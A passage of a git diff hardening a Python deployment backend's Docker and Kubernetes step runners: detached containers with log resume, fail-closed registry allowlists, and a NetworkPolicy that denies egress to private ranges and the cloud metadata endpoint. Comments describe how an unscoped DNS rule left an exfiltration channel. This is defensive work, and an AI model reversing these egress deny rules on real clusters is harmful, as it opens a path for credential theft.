promises. + """ import time authfile_dir = self._write_pull_authfile(spec.pull_authfile_json) - argv = self.build_run_argv(spec, authfile_dir=authfile_dir) # Pull, then vet the image BEFORE anything of it executes. A root image # is refused outright (the KubernetesRunner's runAsNonRoot equivalent): @@ -380,63 +694,120 @@ def run_step( self._cleanup_authfile(authfile_dir) return gate + container_name = self._container_name(spec) + argv = self.build_run_argv( + spec, authfile_dir=authfile_dir, detach=True, container_name=container_name + ) + run_env = dict(os.environ) run_env["DOCKER_HOST"] = self.docker_host if on_output: on_output(f"$ docker run {spec.image_digest} {' '.join(spec.args)}") + # Before mounting the workspace, make sure nothing else still is. + self._clear_workspace_predecessors(spec, run_env) + started = time.monotonic() - # Stream stdout+stderr (merged for ordering) line-by-line to on_output so - # the task log updates live and a crash/kill still leaves the output so far. - # A watchdog timer enforces the step timeout even when the container is - # silent — a plain readline loop would block past the deadline waiting for - # the next line. out_chunks: list[str] = [] - timed_out = threading.Event() - proc: subprocess.Popen[str] | None = None - timer: threading.Timer | None = None + + def _emit(line: str) -> None: + out_chunks.append(line if line.endswith("\n") else line + "\n") + if on_output: + on_output(line.rstrip("\n")) + try: - proc = subprocess.Popen( - argv, - env=run_env, - stdout=subprocess.PIPE, - stderr=subprocess.STDOUT, - text=True, - bufsize=1, + create = subprocess.run( + argv, env=run_env, capture_output=True, text=True, timeout=_DOCKER_CALL_TIMEOUT + ) + if create.returncode != 0: + detail = (create.stderr or create.stdout or "").strip() + return StepResult( + success=False, + exit_code=create.returncode or 1, + stdout="", + stderr=f"Could not start the step container: {detail}", + duration_seconds=time.monotonic() - started, + ) + + # Follow the logs on a background thread purely for live output. It + # is best-effort: if the stream drops (a transport hiccup), it is + # resumed, and the step's RESULT never depends on it. + stop_streaming = threading.Event() + follow_state: dict[str, Any] = {"last_seen": None, "gave_up": False} + streamer = threading.Thread( + target=self._stream_logs, + args=(container_name, run_env, _emit, stop_streaming, follow_state), + daemon=True, + ) + streamer.start() + + exit_code, timed_out, transport_error = self._await_exit( + container_name, run_env, spec.timeout_seconds, started ) - if spec.timeout_seconds: - def _on_timeout(p: subprocess.Popen[str] = proc) -> None: - timed_out.set() - p.kill() - timer = threading.Timer(spec.timeout_seconds, _on_timeout) - timer.start() - assert proc.stdout is not None - for line in proc.stdout: - out_chunks.append(line) - if on_output: - on_output(line.rstrip("\n")) - proc.wait() + + stop_streaming.set() + streamer.join(timeout=_STREAM_JOIN_TIMEOUT) + + # The follow is best-effort and the step's RESULT never depends on + # it — but its OUTPUT does: the artifact's own stdout is the only + # failure detail the engine surfaces. So when the follow never + # attached, or died part-way and stopped resuming, read back what + # it missed instead of silently truncating the step's output. + if follow_state["gave_up"] or not out_chunks: + # Guarded: by this point _await_exit has already determined the + # step's outcome, so letting a log read raise would throw that + # away and surface a successful step as a generic failure — + # exactly the dependency on the follow the docstring says does + # not exist. Losing some output is the lesser failure. + try: + tail = subprocess.run( + self.build_logs_argv( + container_name, since=follow_state["last_seen"] + ), + env=run_env, capture_output=True, text=True, + timeout=_DOCKER_CALL_TIMEOUT, + ) + if tail.stdout: + for line in tail.stdout.splitlines(): + _emit(_strip_timestamp(line)[1]) + except Exception as exc: + logger.warning( + "Could not read back the step's remaining output (%s); the " + "result below is unaffected", exc, + ) finally: - if timer is not None: - timer.cancel() + self._remove_container(container_name, run_env) self._cleanup_authfile(authfile_dir) duration = time.monotonic() - started stdout = "".join(out_chunks) - if timed_out.is_set(): - logger.warning("Container step timed out after %ss: %s", spec.timeout_seconds, spec.image_digest) + if timed_out: + logger.warning( + "Container step timed out after %ss: %s", spec.timeout_seconds, spec.image_digest + ) return StepResult( - success=False, - exit_code=124, - stdout=stdout, - stderr="", - timed_out=True, + success=False, exit_code=124, stdout=stdout, stderr="", + timed_out=True, duration_seconds=duration, + ) + + if transport_error is not None: + # Name the transport. The old failure mode surfaced as a bare + # `unexpected EOF` from the docker CLI, which points at nothing. + return StepResult( + success=False, exit_code=125, stdout=stdout, + stderr=( + f"Lost contact with the docker endpoint ({self.docker_host}) while the step " + f"was running: {transport_error}. Container '{container_name}' may still be " + f"running there — `docker rm -f {container_name}` against that endpoint once " + f"it is reachable. If this reproduces at a consistent duration, check for an " + f"idle timeout on the DOCKER_HOST path (e.g. the socket proxy's haproxy " + f"`timeout client`)." + ), duration_seconds=duration, ) - exit_code = proc.returncode if proc is not None else 1 return StepResult( success=exit_code == 0, exit_code=exit_code, @@ -446,6 +817,204 @@ def _on_timeout(p: subprocess.Popen[str] = proc) -> None: duration_seconds=duration, ) + def _await_exit( + self, + container_name: str, + run_env: dict[str, str], + timeout_seconds: int | None, + started: float, + ) -> tuple[int, bool, str | None]: + """Poll until the container stops. Returns (exit_code, timed_out, transport_error).""" + import time + + first_failure_at: float | None = None + last_error = "" + while True: + if timeout_seconds and (time.monotonic() - started) >= timeout_seconds: + self._kill_container(container_name, run_env) + return 124, True, None + + try: + state = subprocess.run( + self.build_state_argv(container_name), + env=run_env, capture_output=True, text=True, timeout=_DOCKER_CALL_TIMEOUT, + ) + except subprocess.TimeoutExpired as exc: + state = None + last_error = f"docker inspect timed out after {_DOCKER_CALL_TIMEOUT}s ({exc})" + + if state is not None and state.returncode == 0: + first_failure_at = None + running, _, code = (state.stdout or "").strip().partition(" ") + if running.lower() == "false": + try: + return int(code.strip() or 1), False, None + except ValueError: + return 1, False, None + else: + # Losing sight of the container is not the same as the step + # failing: it keeps running throughout, which is the point of + # polling. Only a sustained loss of the endpoint is a real + # transport failure — anything shorter (a blip, a restart of + # the proxy in the path) is waited out. + if state is not None: + last_error = (state.stderr or state.stdout or "").strip() + if first_failure_at is None: + first_failure_at = time.monotonic() + elif (time.monotonic() - first_failure_at) >= _POLL_FAILURE_GRACE_SECONDS: + return 125, False, last_error or "docker endpoint unreachable" + + time.sleep(_POLL_INTERVAL_SECONDS) + + def _stream_logs( + self, + container_name: str, + run_env: dict[str, str], + emit: Callable[[str], None], + stop: threading.Event, + state: dict[str, Any], + ) -> None: + """Follow the container's output, resuming if the stream drops. + + ``state`` reports progress back to the caller: + - ``last_seen`` — the DAEMON's timestamp on the most recent line, as + emitted by ``--timestamps``. A resume starts from there, so it + repeats at most the final second rather than replaying everything + since the follow attached, and it is immune to clock skew between + the worker and a remote docker host. + - ``gave_up`` — the follow died and will not resume, so the caller + must read whatever it missed or the output is silently truncated. + """ + import time + + while not stop.is_set(): + try: + proc = subprocess.Popen( + self.build_logs_argv( + container_name, follow=True, since=state["last_seen"] + ), + env=run_env, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, + text=True, bufsize=1, + ) + except Exception: # pragma: no cover - defensive + state["gave_up"] = True + return + try: + assert proc.stdout is not None + for line in proc.stdout: + if stop.is_set(): + break + stamp, text = _strip_timestamp(line.rstrip("\n")) + if stamp: + # The daemon's own clock, so a resume is skew-proof. + state["last_seen"] = stamp + emit(text) + except Exception: # pragma: no cover - transport hiccup + pass + finally: + proc.kill() + if stop.is_set(): + return + # The follow ended while the step is still running (dropped stream). + # Resume from the last line delivered rather than losing the rest. + time.sleep(_POLL_INTERVAL_SECONDS) + + def _container_name(self, spec: StepSpec) -> str: + """A unique, docker-legal name so the step can be polled and removed.""" + import uuid + + raw = f"bnkforge-{spec.component_key or 'step'}-{spec.step_name or 'run'}" + safe = re.sub(r"[^a-zA-Z0-9_.-]", "-", raw).strip("-_.") or "bnkforge-step" + return f"{safe[:_MAX_NAME_PREFIX]}-{uuid.uuid4().hex[:8]}" + + def _kill_container(self, container_name: str, run_env: dict[str, str]) -> None: + try: + subprocess.run( + self.build_kill_argv(container_name), + env=run_env, capture_output=True, text=True, timeout=_DOCKER_CALL_TIMEOUT, + ) + except Exception: # pragma: no cover - best effort + logger.warning("Could not kill container %s", container_name) + + def _remove_container(self, container_name: str, run_env: dict[str, str]) -> None: + try: + subprocess.run( + self.build_rm_argv(container_name), + env=run_env, capture_output=True, text=True, timeout=_DOCKER_CALL_TIMEOUT, + ) + except Exception: # pragma: no cover - best effort + logger.warning("Could not remove container %s", container_name) + + def kill_task_containers(self, celery_task_id: str) -> list[str]: + """Kill every step container owned by ``celery_task_id``. + + Returns the container ids killed (empty when none were running). + + This is the half of cancellation that Celery cannot do. ``revoke( + terminate=True)`` SIGKILLs the worker-side client; the step container is + detached on the host daemon and keeps running — still holding the + workspace and still driving the vendor CLI against live infrastructure + while Forge reports the operation cancelled (issue #462). + + Uses the same ``bnkforge.task`` ownership label the reaper reads, so a + cancel and a reap agree on which container belongs to which task. + + Best-effort by design: a cancel must still reset DB state when the + daemon is unreachable, so failures are logged and reported, never raised. + """ + if not celery_task_id: + return [] + + run_env = dict(os.environ) + run_env["DOCKER_HOST"] = self.docker_host + + try: + listed = subprocess.run( + self.build_ps_argv(label=f"{_LABEL_TASK}={celery_task_id}"), + env=run_env, capture_output=True, text=True, timeout=_DOCKER_CALL_TIMEOUT, + ) + except Exception as exc: + # FileNotFoundError (no docker CLI) lands here too. Raising rather + # than returning [] is the point: "I killed nothing" and "I could + # not look" must not be the same answer, because the caller + # releases the module lock on the strength of it. + raise ContainerKillUnavailableError( + f"cannot reach the docker daemon to kill containers for task " + f"{celery_task_id}: {exc}" + ) from exc + + if listed.returncode != 0: + raise ContainerKillUnavailableError( + f"docker ps for task {celery_task_id} exited " + f"{listed.returncode}: {(listed.stderr or '').strip()}" + ) + + killed: list[str] = [] + for container_id in [ln.strip() for ln in (listed.stdout or "").splitlines() if ln.strip()]: + try: + result = subprocess.run( + self.build_kill_argv(container_id), + env=run_env, capture_output=True, text=True, timeout=_DOCKER_CALL_TIMEOUT, + ) + except Exception as exc: + logger.warning("kill_task_containers: kill %s failed: %s", container_id, exc) + continue + if result.returncode == 0: + killed.append(container_id) + else: + # Already exited between ps and kill is the common case and benign. + logger.info( + "kill_task_containers: kill %s exited %s: %s", + container_id, result.returncode, (result.stderr or "").strip(), + ) + + if killed: + logger.info( + "kill_task_containers: killed %d container(s) for task %s: %s", + len(killed), celery_task_id, ", ".join(c[:12] for c in killed), + ) + return killed + def health_check(self) -> bool: """Return True when the docker CLI can reach the daemon via the proxy.""" try: @@ -486,6 +1055,14 @@ def _validate_spec(self, spec: StepSpec) -> None: raise ValueError("a workspace mount (workspace_volume or workspace_host_path) is required") if not spec.mount_path or not spec.mount_path.startswith("/"): raise ValueError("mount_path must be an absolute path inside the container") + # mount_path is spliced into `--mount type=volume,...,target=,...` + # (comma-delimited options) and `-v :` (colon-delimited), + # so ',' or ':' would corrupt the argv the same way they would in the + # workspace_* fields above. Same rule, same reason (#79). Not exploitable + # -- argv is a list, no shell -- but a malformed mount is a confusing + # failure instead of a clear one. + if "," in spec.mount_path or ":" in spec.mount_path or " " in spec.mount_path: + raise ValueError("mount_path must not contain ',', ':' or whitespace") @staticmethod def _validate_env_key(key: str) -> None: diff --git a/backend/services/execution/kubernetes_runner.py b/backend/services/execution/kubernetes_runner.py index 3355db19..f2faf6f3 100644 --- a/backend/services/execution/kubernetes_runner.py +++ b/backend/services/execution/kubernetes_runner.py @@ -67,6 +67,13 @@ # NetworkPolicy name — one deny-by-default policy per runner namespace. DENY_ALL_NETPOL_NAME = "bnk-forge-runner-deny-by-default" +# Namespace the cluster DNS resolver runs in. The DNS egress rule is scoped to +# it by namespaceSelector rather than left unscoped — an egress rule with ports +# and no peers permits ALL destinations on those ports. Overridable for clusters +# that run CoreDNS elsewhere; `kubernetes.io/metadata.name` is set automatically +# on every namespace since k8s 1.21. +DNS_NAMESPACE = os.environ.get("CONTAINER_RUNNER_DNS_NAMESPACE", "kube-system") + # A K8s name must be a DNS-1123 label: lowercase alnum + '-', <= 63 chars. _MAX_NAME_LEN = 63 @@ -241,13 +248,30 @@ def build_pull_secret( ) def build_network_policy(self) -> k8s_client.V1NetworkPolicy: - """Deny-by-default NetworkPolicy for the runner namespace. - - Selects every pod (empty podSelector) and declares both policy types - with NO ingress and NO egress rules → all pod traffic is denied unless - another, more specific policy explicitly allows it. + """Deny all ingress; allow only DNS + non-cluster-internal egress. + + The previous version declared both policy types with ``egress=[]``, + which denies ALL egress including DNS. That contradicted the documented + posture — an artifact provisions cloud resources over the network — and + the two outcomes were both bad: on an enforcing CNI (Calico/Cilium) a + provisioning artifact could not resolve DNS or reach a cloud API at all, + and on a non-enforcing CNI the advertised isolation was fictional + either way. The E2E ran against the Docker backend, so this path was + under-exercised (issue #79, item 5). + + What this expresses instead: + * ingress stays fully denied — nothing needs to reach a step pod; + * egress to DNS (udp/tcp 53) is allowed, or nothing resolves; + * egress to public address space is allowed, so cloud control planes + are reachable; + * egress to RFC1918 / loopback / link-local is DENIED, which is the + isolation that actually matters here: it keeps a third-party + artifact image away from cluster-internal services, the kubelet, + and the cloud metadata endpoint (169.254.169.254). """ - return k8s_client.V1NetworkPolicy( + private_cidrs = ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", + "127.0.0.0/8", "169.254.0.0/16"] + policy = k8s_client.V1NetworkPolicy( metadata=k8s_client.V1ObjectMeta( name=DENY_ALL_NETPOL_NAME, namespace=self.namespace, @@ -257,9 +281,62 @@ def build_network_policy(self) -> k8s_client.V1NetworkPolicy: pod_selector=k8s_client.V1LabelSelector(), # {} → all pods policy_types=["Ingress", "Egress"], ingress=[], - egress=[], + egress=[ + # DNS — scoped to the cluster resolver's namespace. + # + # This rule previously carried `ports` and NO `to`, which in + # NetworkPolicy means ALL destinations on those ports: the + # `except` list below binds only to its own ipBlock, so + # 169.254.169.254:53 and every RFC1918 host on 53 stayed + # reachable — TCP included, which is a clean bidirectional + # exfil channel out of a pod holding cloud credentials. + k8s_client.V1NetworkPolicyEgressRule( + to=[ + k8s_client.V1NetworkPolicyPeer( + namespace_selector=k8s_client.V1LabelSelector( + match_labels={ + "kubernetes.io/metadata.name": DNS_NAMESPACE + } + ) + ) + ], + ports=[ + k8s_client.V1NetworkPolicyPort(protocol="UDP", port=53), + k8s_client.V1NetworkPolicyPort(protocol="TCP", port=53), + ], + ), + # Everything else: public destinations only. + k8s_client.V1NetworkPolicyEgressRule( + to=[ + k8s_client.V1NetworkPolicyPeer( + ip_block=k8s_client.V1IPBlock( + cidr="0.0.0.0/0", + _except=private_cidrs, + ) + ) + ], + ), + ], ), ) + self._assert_every_egress_rule_is_scoped(policy) + return policy + + @staticmethod + def _assert_every_egress_rule_is_scoped(policy: k8s_client.V1NetworkPolicy) -> None: + """Refuse to build an egress rule with no ``to``. + + A rule with ports but no peers means *all destinations* on those ports. + That is what made the DNS rule above defeat its own ipBlock `except` + list, and it is invisible on reading unless you know the semantics — so + it is enforced here rather than left to review. + """ + for index, rule in enumerate(policy.spec.egress or []): + if not getattr(rule, "to", None): + raise ValueError( + f"egress rule[{index}] has no 'to': a NetworkPolicy egress " + "rule without peers permits ALL destinations on its ports" + ) def build_job(self, spec: StepSpec) -> k8s_client.V1Job: """The per-step Job: the artifact's OWN digest-pinned image + argv. @@ -420,10 +497,36 @@ def _ensure_network_policy(self, api_client: k8s_client.ApiClient) -> None: networking = k8s_client.NetworkingV1Api(api_client) try: networking.create_namespaced_network_policy(self.namespace, netpol) - logger.info("Applied deny-by-default NetworkPolicy in %s", self.namespace) + logger.info("Applied runner NetworkPolicy in %s", self.namespace) + return + except ApiException as exc: + if exc.status != 409: + # Fail CLOSED. This is the isolation boundary for a third-party + # artifact image that receives cloud credentials via env_from — + # running the step without it is precisely the outcome the + # policy exists to prevent, so a failure here must stop the run + # rather than log and continue. + raise RuntimeError( + f"Could not apply the runner NetworkPolicy in namespace " + f"{self.namespace}: {exc.reason}. Refusing to run an " + "artifact step without network isolation." + ) from exc + + # 409 = a policy of this name already exists. It may predate a hardening + # change (an older build shipped a rule that denied DNS, and before that + # one that permitted all destinations on port 53), so leaving it alone + # silently pins whatever the namespace happened to have. Reconcile it. + try: + networking.replace_namespaced_network_policy( + DENY_ALL_NETPOL_NAME, self.namespace, netpol + ) + logger.info("Reconciled existing runner NetworkPolicy in %s", self.namespace) except ApiException as exc: - if exc.status != 409: # already exists — fine - logger.warning("Failed to ensure NetworkPolicy: %s", exc.reason) + raise RuntimeError( + f"Could not reconcile the existing runner NetworkPolicy in " + f"namespace {self.namespace}: {exc.reason}. Refusing to run an " + "artifact step against an unverified policy." + ) from exc def _ensure_workspace_pvc(self, core_v1: k8s_client.CoreV1Api, spec: StepSpec) -> None: pvc = self.build_workspace_pvc(spec) diff --git a/backend/services/execution/supply_chain.py b/backend/services/execution/supply_chain.py index e7413a48..88bcbe8a 100644 --- a/backend/services/execution/supply_chain.py +++ b/backend/services/execution/supply_chain.py @@ -185,16 +185,37 @@ def build_merged_dockerconfigjson(auths_by_host: dict[str, dict[str, str]]) -> s return base64.b64encode(json.dumps(document).encode("utf-8")).decode("ascii") +def resolve_registry_host_allowlist(db: Session) -> set[str]: + """The registry-host allowlist, resolved fail-CLOSED. + + Reads ``container.registry_host_allowlist`` and falls back to the built-in + safe default when the setting is unset, empty, or the lookup raises -- so + the result is never empty and the check is always enforced. This is the + SAME resolution ``module_sync_service._registry_host_allowlist`` uses at + ingest. The two readers used to disagree on what "empty" meant: ingest fell + back to the default (closed); this one returned early (open). An operator + who cleared the setting, or a fresh install before the row existed, got + an unenforced pull path while ingest still claimed to be enforcing + (#79). One resolution, one answer. + """ + from services.defaults_service import SYSTEM_DEFAULTS + + try: + raw = get_default(db, REGISTRY_HOST_ALLOWLIST_KEY) + except Exception: + raw = None + if not raw or not str(raw).strip(): + raw = SYSTEM_DEFAULTS[REGISTRY_HOST_ALLOWLIST_KEY]["value"] + return {h.strip().lower() for h in str(raw).split(",") if h.strip()} + + def enforce_host_allowlist(db: Session, hosts: list[str]) -> None: """Raise :class:`SupplyChainPolicyError` for any host not on the allowlist. - The allowlist is the ``container.registry_host_allowlist`` system default - (comma-separated). An empty/unset allowlist disables enforcement. + Fail-closed: an unset/empty setting enforces the built-in default, never + "anything goes". See resolve_registry_host_allowlist. """ - raw = get_default(db, REGISTRY_HOST_ALLOWLIST_KEY) - allow = {h.strip().lower() for h in str(raw or "").split(",") if h.strip()} - if not allow: - return + allow = resolve_registry_host_allowlist(db) for host in hosts: if host and host.lower() not in allow: raise SupplyChainPolicyError( diff --git a/backend/services/execution/task_dispatch.py b/backend/services/execution/task_dispatch.py index 2cb891d0..aa3a39b8 100644 --- a/backend/services/execution/task_dispatch.py +++ b/backend/services/execution/task_dispatch.py @@ -64,6 +64,30 @@ def _get_explicit_execution_engine(module) -> str | None: return None +def _assert_module_runnable(module, operation: str) -> None: + """Refuse to dispatch work for a DISABLED module. + + Enforced HERE because this is the chokepoint every deploy path crosses. + Gating at the callers missed several: stack_service.run_deploy (Deploy All + for a stack — and _apply_topology_module_filter is the tree's main producer + of disabled modules, so that path is the one that matters most), + submit_init, and the worker auto-apply chains in container_tasks / + opentofu_tasks, which gate only on can_execute() — a dependency check that + never looks at `enabled`. + + Destroy is deliberately NOT gated: a disabled module can still hold live + infrastructure, and refusing to tear it down would strand it with no UI + affordance left to reach it. + """ + if operation == "destroy": + return + if getattr(module, "enabled", True) is False: + raise ValueError( + f"Module {getattr(module, 'id', '?')} is disabled; refusing to " + f"dispatch {operation}. Enable it first." + ) + + def _resolve_dispatch_engine(module) -> str: """Resolve dispatch family: ansible | kubernetes | opentofu.""" explicit_execution_engine = _get_explicit_execution_engine(module) @@ -93,6 +117,7 @@ def dispatch_init(task_id: int, module, auto_apply: bool = False, force_reinit: Returns the Celery AsyncResult (same as .delay() would return). """ + _assert_module_runnable(module, "init") dispatch_engine = _resolve_dispatch_engine(module) if dispatch_engine == "ssh": @@ -139,6 +164,7 @@ def dispatch_init(task_id: int, module, auto_apply: bool = False, force_reinit: def dispatch_plan(task_id: int, module): """Dispatch a plan operation to the correct engine.""" + _assert_module_runnable(module, "plan") dispatch_engine = _resolve_dispatch_engine(module) if dispatch_engine == "ssh": @@ -192,8 +218,8 @@ def _safe_int(value, default: int) -> int: return default -def _derive_container_apply_time_limits(module) -> dict: - """Per-module Celery time limits derived from a container module's apply budget. +def _derive_container_time_limits(module, phase: str = "apply", action: str | None = None) -> dict: + """Per-module Celery time limits derived from a container module's step budget. The global ``task_time_limit`` assumes a worst case that a manifest can legitimately exceed once per-step retry/backoff is declared (e.g. a long cluster build that @@ -203,13 +229,35 @@ def _derive_container_apply_time_limits(module) -> dict: ``visibility_timeout`` so a long task is never redelivered (double-executed) by the broker; a manifest needing more than the ceiling is logged, not silently truncated. + ``phase`` selects the step-set: "apply", "destroy", or "action" (with the + action name). A destroy or a long e2e/scenario action can outlive the global + limit exactly as an apply can — and being hard-killed mid-run leaves the + module lock behind for the reclaim sweep, so all three need the same + treatment (issue #463 F5). + Returns ``apply_async`` kwargs, or ``{}`` to use the global defaults. """ lib = getattr(module, "library_module", None) manifest = getattr(lib, "pack_manifest", None) if not isinstance(manifest, dict): return {} - steps = (manifest.get("steps") or {}).get("apply") + if phase == "action": + # Actions live under manifest["actions"][name]["steps"] -- a shape + # canonical_step_sets does not cover, so read it directly. + declared = (manifest.get("actions") or {}) + block = declared.get(action) if isinstance(declared, dict) else None + steps = (block or {}).get("steps") if isinstance(block, dict) else None + else: + # Resolve lifecycle steps through the SAME resolver the engine and the + # validator use. A manifest may declare them at top-level ``steps`` or + # at ``execution.steps`` (canonical since #123; declaring both is + # rejected). Reading ``manifest["steps"]`` here meant an + # ``execution.steps`` manifest derived an empty budget and silently + # fell back to the global limit -- so the long cluster build this + # function exists to protect was hard-killed mid-run anyway (#127). + from services.module_metadata import canonical_step_sets + + steps = canonical_step_sets(manifest).get(phase) if not isinstance(steps, list): return {} @@ -235,9 +283,9 @@ def _derive_container_apply_time_limits(module) -> dict: ceiling = vis_timeout - 600 if hard > ceiling: logger.warning( - "Module %s apply budget (%ss) exceeds the safe ceiling (%ss) below the broker " + "Module %s %s budget (%ss) exceeds the safe ceiling (%ss) below the broker " "visibility_timeout (%ss); capping. Reduce step retries or raise visibility_timeout.", - module.id, hard, ceiling, vis_timeout, + module.id, phase, hard, ceiling, vis_timeout, ) hard = ceiling return {"time_limit": hard, "soft_time_limit": max(global_hard, hard - 300)} @@ -258,6 +306,7 @@ def dispatch_apply(task_id: int, module, force_new_plan: bool = False, auto_appr Returns the Celery AsyncResult. """ + _assert_module_runnable(module, "apply") dispatch_engine = _resolve_dispatch_engine(module) if dispatch_engine == "ssh": @@ -287,7 +336,7 @@ def dispatch_apply(task_id: int, module, force_new_plan: bool = False, auto_appr if dispatch_engine == "container": from tasks.container_tasks import run_container_apply - limits = _derive_container_apply_time_limits(module) + limits = _derive_container_time_limits(module, "apply") logger.info( f"Dispatching apply for module {module.id} → Container engine (metadata)" + (f" with derived time limits {limits}" if limits else "") @@ -342,8 +391,12 @@ def dispatch_destroy(task_id: int, module): if dispatch_engine == "container": from tasks.container_tasks import run_container_destroy - logger.info(f"Dispatching destroy for module {module.id} → Container engine (metadata)") - return run_container_destroy.delay(task_id, module.id) + limits = _derive_container_time_limits(module, "destroy") + logger.info( + f"Dispatching destroy for module {module.id} → Container engine (metadata)" + + (f" with derived time limits {limits}" if limits else "") + ) + return run_container_destroy.apply_async((task_id, module.id), **limits) if dispatch_engine == "kubernetes": from tasks.kubernetes_tasks import run_k8s_destroy @@ -363,6 +416,7 @@ def dispatch_container_action(task_id: int, module, action: str, action_inputs: Actions are a container-engine-only contract; any other engine is a caller error surfaced loudly rather than silently routed elsewhere. """ + _assert_module_runnable(module, "action") dispatch_engine = _resolve_dispatch_engine(module) if dispatch_engine != "container": raise ValueError( @@ -372,8 +426,14 @@ def dispatch_container_action(task_id: int, module, action: str, action_inputs: from tasks.container_tasks import run_container_action - logger.info(f"Dispatching action '{action}' for module {module.id} → Container engine") - return run_container_action.delay(task_id, module.id, action, action_inputs=action_inputs) + limits = _derive_container_time_limits(module, "action", action) + logger.info( + f"Dispatching action '{action}' for module {module.id} → Container engine" + + (f" with derived time limits {limits}" if limits else "") + ) + return run_container_action.apply_async( + (task_id, module.id, action), {"action_inputs": action_inputs}, **limits + ) def dispatch_apply_signature(task_id: int, module, force_new_plan: bool = False, auto_approve: bool = False): @@ -390,6 +450,7 @@ def dispatch_apply_signature(task_id: int, module, force_new_plan: bool = False, auto_approve: Accepted for API compatibility but not used to force a new plan (see dispatch_apply docstring). """ + _assert_module_runnable(module, "apply") dispatch_engine = _resolve_dispatch_engine(module) if dispatch_engine == "ssh": @@ -419,8 +480,9 @@ def dispatch_apply_signature(task_id: int, module, force_new_plan: bool = False, if dispatch_engine == "container": from tasks.container_tasks import run_container_apply + limits = _derive_container_time_limits(module, "apply") logger.info(f"Creating apply signature for module {module.id} → Container engine (metadata)") - return run_container_apply.s(task_id, module.id) + return run_container_apply.s(task_id, module.id).set(**limits) if dispatch_engine == "kubernetes": from tasks.kubernetes_tasks import run_k8s_apply @@ -470,8 +532,9 @@ def dispatch_destroy_signature(task_id: int, module): if dispatch_engine == "container": from tasks.container_tasks import run_container_destroy + limits = _derive_container_time_limits(module, "destroy") logger.info(f"Creating destroy signature for module {module.id} → Container engine (metadata)") - return run_container_destroy.s(task_id, module.id) + return run_container_destroy.s(task_id, module.id).set(**limits) if dispatch_engine == "kubernetes": from tasks.kubernetes_tasks import run_k8s_destroy diff --git a/backend/services/execution/variable_assembler.py b/backend/services/execution/variable_assembler.py index f5812e8e..18812ea0 100644 --- a/backend/services/execution/variable_assembler.py +++ b/backend/services/execution/variable_assembler.py @@ -261,62 +261,85 @@ def _inject_rendered_bf_conf( The join path from BareMetalHost to Dpu is: Dpu.project_id == host.project_id AND Dpu.host_node_ip == host.host_ip - Does nothing (silently returns) if any prerequisite is missing: - - No Dpu record for this host (DPU tab not used yet) - - No ProjectDpuSettings for the project - - No bf.conf template configured in settings - - No DPU OS password available + Returns silently (no-op) when either: + - The DPU-tab bf.conf template was never configured for this project + (the minimal bf.cfg fallback is intentionally the right path), OR + - No Dpu row exists for this host (normal for regular-topology hosts where + discovery creates no per-DPU record; flash_dpu.py populates NET_RSHIM_MAC + independently, so the minimal bf.cfg fallback is safe). + + Raises RuntimeError with an actionable diagnostic for genuinely + misconfigured prerequisites (dangling template FK, undecryptable/absent + password), because those indicate a configuration or data-integrity problem + that must be surfaced rather than silently papered over. """ from models.dpu import BfConfTemplate, Dpu, ProjectDpuSettings + # Check project DPU settings first. When no settings exist (or no template + # is configured), the DPU tab was never set up — the minimal bf.cfg fallback + # is intentional. Returning here is the ONLY silent path. + settings = ( + db.query(ProjectDpuSettings) + .filter(ProjectDpuSettings.project_id == module.project_id) + .first() + ) + if settings is None or settings.bf_template_id is None: + logger.debug("No DPU settings or bf.conf template for project %s — skipping render", module.project_id) + return + + # A bf.conf template IS configured for this project; from here every missing + # prerequisite is a diagnosable problem — raise loudly rather than falling + # back to the default-MAC minimal bf.cfg. + + bf_template = db.query(BfConfTemplate).filter(BfConfTemplate.id == settings.bf_template_id).first() + if bf_template is None: + raise RuntimeError( + f"bf.conf template id={settings.bf_template_id} is referenced by project " + f"{module.project_id} DPU settings but the template row no longer exists. " + "The template may have been deleted. Re-configure the DPU-tab template." + ) + # Find the Dpu record associated with this host. For dual_dpu_obmc # hosts there are TWO Dpu rows sharing the same host_node_ip — one per # BF3 chip — so an unscoped `.first()` is non-deterministic and can # render bf.conf with the OTHER DPU's allocated IPs. When the host # carries a `deploy_dpu_pci_address`, narrow the query to the matching # PCI bus prefix. + deploy_pci_bus = (getattr(host, "deploy_dpu_pci_address", None) or "").rsplit(".", 1)[0] query = db.query(Dpu).filter( Dpu.project_id == host.project_id, Dpu.host_node_ip == host.host_ip, ) - deploy_pci_bus = (getattr(host, "deploy_dpu_pci_address", None) or "").rsplit(".", 1)[0] if deploy_pci_bus: query = query.filter(Dpu.pci_address == deploy_pci_bus) dpu = query.first() if dpu is None: + # Normal for regular-topology hosts: discovery creates no Dpu row when + # host.deploy_dpu_pci_address is unset. flash_dpu.py populates + # NET_RSHIM_MAC independently, so the minimal bf.cfg fallback is safe. logger.debug( - "No Dpu record for host %s (ip=%s, deploy_pci_bus=%s) — skipping bf.conf render", - host.name, host.host_ip, deploy_pci_bus or "", + "No Dpu row for host '%s' (ip=%s, pci_bus=%s, project=%s) — " + "skipping bf.conf render, minimal bf.cfg fallback applies", + host.name, host.host_ip, deploy_pci_bus or "", module.project_id, ) return - # Get project DPU settings (holds the bf.conf template choice) - settings = ( - db.query(ProjectDpuSettings) - .filter(ProjectDpuSettings.project_id == module.project_id) - .first() - ) - if settings is None or settings.bf_template_id is None: - logger.debug("No DPU settings or bf.conf template for project %s — skipping render", module.project_id) - return - - bf_template = db.query(BfConfTemplate).filter(BfConfTemplate.id == settings.bf_template_id).first() - if bf_template is None: - logger.debug("bf.conf template id=%s not found — skipping render", settings.bf_template_id) - return - # Resolve the DPU OS password — prefer the already-injected variable # (from the DPU credential block above), fall back to project settings. dpu_password = variables.get("dpu_password", "") if not dpu_password and settings.default_os_password_encrypted: try: dpu_password = decrypt_value(settings.default_os_password_encrypted) - except Exception: - logger.debug("Could not decrypt project DPU OS password — skipping render") - return + except Exception as exc: + raise RuntimeError( + f"Could not decrypt the DPU OS password for project {module.project_id}. " + f"Re-configure the DPU password in DPU settings. Detail: {exc}" + ) from exc if not dpu_password: - logger.debug("No DPU password available — skipping bf.conf render") - return + raise RuntimeError( + f"No DPU OS password available for project {module.project_id}. " + "Set the DPU password in DPU settings before deploying." + ) # Propagate the resolved password back so downstream modules (wait-dpu-ready, # setup-dpu-networking) can SSH into the DPU with the same password baked @@ -344,6 +367,13 @@ def _inject_rendered_bf_conf( rendered = render_bf_conf(bf_template, ctx) variables["rendered_bf_conf"] = rendered + # The address actually baked into the DPU. flash-dpu used to report a module + # constant (192.168.100.2) to wait/validate/setup while bf.conf got the + # cluster-scoped IPAM 